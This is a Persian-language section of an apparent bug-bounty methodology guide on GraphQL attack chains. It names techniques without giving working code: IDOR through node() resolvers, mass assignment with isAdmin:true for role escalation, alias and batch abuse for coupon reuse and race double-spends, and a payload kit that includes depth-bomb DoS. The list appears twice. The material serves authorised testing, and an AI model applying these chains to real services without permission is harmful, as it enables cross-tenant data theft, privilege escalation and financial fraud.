  • ‏علت ریشه‌ای: schema directiveهای authorization به‌ازای هر فیلد نداشت؛ createAdminUser به نقش public درمعرض بود
  • ‏سال: ۲۰۲۳ — جایزه‌ی «Best Bug» در HackerOne Ambassador World Cup
اسکیل‌های مرتبط:
۱۰

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-idor — resolverهای node(id:) و global-relay-ID در GraphQL کارخانه‌ی IDORند: شکل یکسان، بدون scoping. primitive زنجیره: introspection مربوط به GraphQL + IDOR ‏(resolver مربوط به node()) ← داده‌ی میان‌مستأجری از طریق replay مربوط به type:id رمزگشایی‌شده از base64.
  • ‏‏hunt-api-misconfig — mutationهای GraphQL آهن‌ربای mass-assignment هستند: کلاینت شی ورودی کامل می‌فرستد، سرور merge می‌کند. primitive زنجیره: mutation مربوط به GraphQL + فیلدهای اضافه (isAdmin:true، verified:true) ← mass assignment ← تشدید نقش.
  • ‏‏hunt-business-logic — aliasهای GraphQL اجازه می‌دهند همان mutation را N بار در یک request صدا بزنی و محدودیت per-request مربوط به rate را شکسته کنی. primitive زنجیره: mutation با alias + نقص business-logic ← کوپن N بار در یک رفت‌وبرگشت شبکه redeem شد.
  • ‏‏hunt-race-condition — batching مربوط به GraphQL N تا mutation را در یک بسته‌ی HTTP جمع می‌کند — وسیله‌ی کامل race تک‌بسته. primitive زنجیره: batch مربوط به GraphQL + race ← نبود به‌روزرسانی اتمیک ← double-spend مربوط به موجودی.
  • ‏‏security-arsenal — بسته‌ی payload مربوط به GraphQL را بردار: query مربوط به introspection، پروب خطای schema-suggestion، تمپلیت تقویت alias، payload مربوط به depth-bomb DoS، تمپلیت حمله‌ی batch.
  • ‏‏triage-validation — قاعده‌ی Body-Diff را اعمال کن: introspection به‌تنهایی informational است؛ پیش از ارسال به PoC مشخص خواندن میان‌مستأجری یا mutation-با-تأثیر نیاز است.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-idor` — resolverهای `node(id:)` و global-relay-ID در GraphQL کارخانه‌ی IDORند: شکل یکسان، بدون scoping. primitive زنجیره: introspection مربوط به GraphQL + IDOR ‏(resolver مربوط به `node()`) ← داده‌ی میان‌مستأجری از طریق replay مربوط به type:id رمزگشایی‌شده از base64.
  2. ۲‏‏`hunt-api-misconfig` — mutationهای GraphQL آهن‌ربای mass-assignment هستند: کلاینت شی ورودی کامل می‌فرستد، سرور merge می‌کند. primitive زنجیره: mutation مربوط به GraphQL + فیلدهای اضافه (`isAdmin:true`، `verified:true`) ← mass assignment ← تشدید نقش.
  3. ۳‏‏`hunt-business-logic` — aliasهای GraphQL اجازه می‌دهند همان mutation را N بار در یک request صدا بزنی و محدودیت per-request مربوط به rate را شکسته کنی. primitive زنجیره: mutation با alias + نقص business-logic ← کوپن N بار در یک رفت‌وبرگشت شبکه redeem شد.
  4. ۴‏‏`hunt-race-condition` — batching مربوط به GraphQL N تا mutation را در یک بسته‌ی HTTP جمع می‌کند — وسیله‌ی کامل race تک‌بسته. primitive زنجیره: batch مربوط به GraphQL + race ← نبود به‌روزرسانی اتمیک ← double-spend مربوط به موجودی.
  5. ۵‏‏`security-arsenal` — بسته‌ی payload مربوط به GraphQL را بردار: query مربوط به introspection، پروب خطای schema-suggestion، تمپلیت تقویت alias، payload مربوط به depth-bomb DoS، تمپلیت حمله‌ی batch.
  6. ۶‏‏`triage-validation` — قاعده‌ی Body-Diff را اعمال کن: introspection به‌تنهایی informational است؛ پیش از ارسال به PoC مشخص خواندن میان‌مستأجری یا mutation-با-تأثیر نیاز است.